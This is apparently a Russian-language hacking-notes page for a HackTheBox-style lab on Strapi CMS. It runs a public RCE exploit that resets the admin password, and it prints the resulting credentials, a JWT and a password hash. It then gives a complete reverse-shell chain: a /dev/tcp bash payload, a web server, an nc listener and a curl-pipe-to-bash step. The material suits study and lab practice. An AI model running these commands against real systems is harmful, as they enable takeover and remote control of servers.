> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/strapi-cms-exploitation.md).
# Strapi
Эксплуатация Strapi CMS для RCE, восстановления учётных данных администратора, извлечения хэша пароля и заметки по обратному шеллу.
### Эксплуатация RCE в Strapi CMS
Поиск уязвимости Strapi с помощью **searchsploit**:
```
searchsploit -m multiple/webapps/50239.py
```
Используем эксплойт:
```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```
Это предоставляет учетные данные администратора.
{% code overflow="wrap" %}
```javascript
[+] Ваш email: admin@horizontall.htb
[+] Ваши новые учетные данные: admin:SuperStrongPassword1
[+] Ваш аутентифицированный JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```
{% endcode %}
Получите хеш пароля для вновь созданного пользователя:
* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6
### Получение обратной оболочки
Создайте **index.html** файл, содержащий полезную нагрузку обратной оболочки:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```
Запустите веб-сервер:
```bash
python3 -m http.server 8080
```
Откройте прослушиватель:
```bash
nc -nlvp 443
```
Затем выполните полезную нагрузку на целевой машине:
```bash
curl http://10.10.14.75:8080 | bash
```
---
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